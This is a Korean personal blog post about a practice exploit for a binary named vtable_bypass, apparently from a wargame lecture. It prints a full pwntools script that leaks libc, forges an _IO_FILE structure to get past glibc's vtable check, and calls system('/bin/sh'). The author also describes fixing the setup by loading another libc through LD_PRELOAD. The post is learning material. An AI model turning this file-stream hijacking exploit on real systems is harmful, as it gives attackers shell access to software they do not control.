본문 바로가기

iofile_vtable_check (해결) 본문

Notepad

iofile_vtable_check (해결)

Seongjun_You 2021. 11. 23. 22:06

 

libc.so.6
1.94MB

내가 쓰던 라이브러리 파일이다.

 

 

glibc 2.27로 전혀 문제가 없는듯 했다.

 

 

 

#vtable_bypass.py
from pwn import *
p = process("./vtable_bypass")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vtable_bypass')
print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
print hex(libc_base)
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock 
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite 
payload += p64(system) # fp->_s._allocate_buffer RIP
p.send(payload)
p.interactive()

예제와 동일한 코드이다.

 

 

 

이유는 모르겠는데 다른 사람들과 달리 나는 malloc으로 되어있다.

system함수를 호출하는지 확인을 할 수가 없다.......

코드를 실행하면

 

인자값으로 /bin/sh이 잘넘어가긴 한다.

 

 

정말 이유를 알수가 없다........

 

 

 

--------------------------------------------------------------------------------------------------------------

https://aidencom.tistory.com/513#comment16477732

 

[ PWN Tech ] _IO_vtable_check bypass Analysis

앞서 알아본 _IO_vtable_check bypass 와 관련하여 직접 공격 코드를 보며 공격이 어떻게 이루어지는지 알아보자. 이 역시 Dreamhack Lecture를 참고하였다. ( 틀린 내용이 있을 시 지적 부탁드립니다. ) 분석

aidencom.tistory.com

Aiden님이 도움을 주셔 문제를 해결할 수 있었다.

gcc버전의 차이로 생긴 문제인듯 하다.

 

Aiden님이 주신 라이브러리 파일로 다시 예제를 풀어보기로 했다.

 

libc.so.6
1.72MB

먼저 LD_PRELOAD 설정을 해주었다.

p = process("./vtable_bypass" ,env={'LD_PRELOAD':'./libc.so.6'})

 

어셈블리 코드를 보니 잘 바뀌어있다!!!!!!!!!!!!!!!!!!!

 

3개월동안 삽질한 예제가 드디어 도움을 받고 해결되었다.

다시 한번더  Aiden님께 감사를 드립니다.

'Notepad' 카테고리의 다른 글

fork 디버깅, PIE 디버깅  (0) 2022.03.06
LoadLibrary  (0) 2022.02.16
tiny backdoor (삽질)  (0) 2022.01.29
validator-revenge (해결)  (0) 2022.01.14
cyberpeace 3.0 ITCTF - crySYS  (0) 2022.01.11
Comments